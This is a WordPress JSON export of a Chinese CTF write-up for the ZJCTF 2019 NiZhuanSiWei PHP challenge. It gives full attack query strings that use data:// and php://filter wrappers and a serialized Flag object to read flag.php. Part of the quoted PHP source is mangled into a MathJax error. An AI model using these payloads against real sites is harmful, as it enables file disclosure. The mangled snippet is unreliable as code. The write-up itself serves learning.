{"id":1201,"date":"2025-01-18T23:29:05","date_gmt":"2025-01-18T15:29:05","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1201"},"modified":"2025-01-18T23:29:05","modified_gmt":"2025-01-18T15:29:05","slug":"zjctf-2019nizhuansiwei","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/zjctf-2019nizhuansiwei\/","title":{"rendered":"ZJCTF 2019NiZhuanSiWei"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129214223.png\" alt=\"Pasted image 20241129214223.png\"><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129214236.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129214236.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241129214236.png\"><\/div><br \/>\n\u5206\u6790\u4ee3\u7801\uff1a<br \/>\n\u6211\u4eec\u9700\u8981GET\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u662f:text,file,password<br \/>\n\u9996\u5148\u9700\u8981\u68c0\u67e5\u662f\u5426\u5bf9text\u4f20\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u4e14\u6587\u4ef6\u5185\u5bb9\u8981\u662fwelcome to the zjctf\uff0c\u624d\u80fd\u8fdb\u884c\u4e0b\u4e00\u6b65\uff0c\u56e0\u4e3a\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528php\u4f2a\u534f\u8bae<br \/>\ndata:\/\/text\/plain,welcome to the zjctf<br \/>\n\u6210\u529f\u8fdb\u5165\u4e0b\u4e00\u4e2a\u6761\u4ef6<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129221016.png\" alt=\"Pasted image 20241129221016.png\"><\/p>\n<p>\u4e0b\u4e00\u4e2a\u6761\u4ef6\u662f,\u68c0\u67e5file  \u4f20\u8fdb\u6765\u7684\u53c2\u6570\u662f\u5426\u6709flag\uff0c\u6709\u7684\u8bdd\uff0c\u5c31\u8f93\u51faNot now \uff0c\u7136\u540e\u9000\u51fa\u7a0b\u5e8f\uff0c\u6ca1\u6709\u7684\u8bdd\u5c31\u8fdb\u5165\u4e0b\u9762\u7684\u547d\u4ee4\u3002<\/p>\n<p>\u53d1\u73b0\u65c1\u8fb9\u6709\u4e00\u4e2a\u6ce8\u91ca\/\/useless.php\u6587\u4ef6<br \/>\n\u4f7f\u7528php:\/\/filter\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9<br \/>\n?text=data:\/\/text\/plain,welcome%20to%20the%20zjctf&amp;file=php:\/\/filter\/read=convert.base64-encode\/resource=useless.php<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129234553.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241129234553.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241129234553.png\"><\/div><br \/>\n\u89e3\u7801<br \/>\n&lt;?php<\/p>\n<p>class Flag{  \/\/flag.php<br \/>\npublic <mjx-container class=\"MathJax\" jax=\"SVG\" style=\"direction: ltr; position: relative;\"><svg style=\"overflow: visible; min-height: 1px; min-width: 1px; vertical-align: -0.452ex;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"82.805ex\" height=\"2.149ex\" role=\"img\" focusable=\"false\" viewBox=\"0 -750 36600 950\" aria-hidden=\"true\"><g stroke=\"currentColor\" fill=\"currentColor\" stroke-width=\"0\" transform=\"scale(1,-1)\"><g data-mml-node=\"math\"><g data-mml-node=\"merror\" data-mjx-error=\"Missing open brace for subscript\" title=\"Missing open brace for subscript\"><rect data-background=\"true\" width=\"36600\" height=\"950\" y=\"-200\" style=\"fill: yellow; stroke: none;\"\/><title>Missing open brace for subscript<\/title><g data-mml-node=\"mtext\" style=\"fill: red; stroke: red; font-family: serif;\"><text data-variant=\"-explicitFont\" transform=\"scale(1,-1)\" font-size=\"884px\">file;       public function __tostring(){           if(isset(<\/text><\/g><\/g><\/g><\/g><\/svg><mjx-assistive-mml unselectable=\"on\" display=\"inline\" style=\"top: 0px; left: 0px; clip: rect(1px, 1px, 1px, 1px); -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; position: absolute; padding: 1px 0px 0px 0px; border: 0px; display: block; width: auto; overflow: hidden;\"><math xmlns=\"http:\/\/www.w3.org\/1998\/Math\/MathML\"><merror data-mjx-error=\"Missing open brace for subscript\" title=\"Missing open brace for subscript\"><mtext>file;       public function __tostring(){           if(isset(<\/mtext><\/merror><\/math><\/mjx-assistive-mml><\/mjx-container>this-&gt;file)){<br \/>\necho file_get_contents($this-&gt;file);<br \/>\necho &quot;&lt;br&gt;&quot;;<br \/>\nreturn (&quot;U R SO CLOSE !\/\/\/COME ON PLZ&quot;);<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\n?&gt;<br \/>\n\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2aPHP\u6e90\u7801\uff0c\u5bf9\u6e90\u7801\u8fdb\u884c\u5206\u6790\uff0c\u53ef\u4ee5\u77e5\u9053\uff0c\u5b83\u5b9a\u4e49\u4e86\u4e00\u4e2a<br \/>\n\u53eb\u505aFlag\u7684\u7c7b\uff0c\u91cc\u9762\u542b\u6709\u4e00\u4e2a\u4e00\u53eb: _tostring()\u7684\u9b54\u672f\u65b9\u6cd5<br \/>\n\u91cc\u9762\u6267\u884c\u4e86\u6587\u4ef6\u5305\u542b\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u8fd9\u5229\u7528\u8fd9\u4e2a\u70b9\u67e5\u770b<br \/>\nflag.php\u6587\u4ef6\u3002<br \/>\n__tostring()\u9b54\u672f\u65b9\u6cd5\u662f\u8981\u5f53\u7c7b\u505a\u4e3a\u5b57\u7b26\u4e32\u8f93\u51fa\u65f6\u89e6\u53d1\u3002<\/p>\n<p>O:4:&quot;Flag&quot;:1:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;}<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130002209.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130002209.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130002209.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130002222.png\" alt=\"Pasted image 20241130002222.png\"><\/p>\n<p>?text=data:\/\/text\/plain,welcome to the zjctf&amp;file=useless.php&amp;password=O:4:<br \/>\n&quot;Flag&quot;:1:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;}<\/p>\n<h3>\u603b\u7ed3<\/h3>\n<ul>\n<li>php\u4f2a\u534f\u8bae<br \/>\ndata:\/\/  php:\/\/filter<\/li>\n<li>\u53cd\u5e8f\u5217\u5316<\/li>\n<li>_tostring()\u9b54\u6cd5\u51fd\u6570\uff1a\u5f53\u7c7b\u505a\u4e3a\u5b57\u7b26\u4e32\u8f93\u51fa\u65f6\u89e6\u53d1<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u5206\u6790\u4ee3\u7801\uff1a \u6211\u4eec\u9700\u8981GET\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u662f:text,file,password \u9996\u5148\u9700\u8981\u68c0\u67e5\u662f\u5426\u5bf9text\u4f20\u4e00 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[28,37],"class_list":["post-1201","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-php","tag-37"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1201"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201\/revisions"}],"predecessor-version":[{"id":1202,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1201\/revisions\/1202"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1201"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}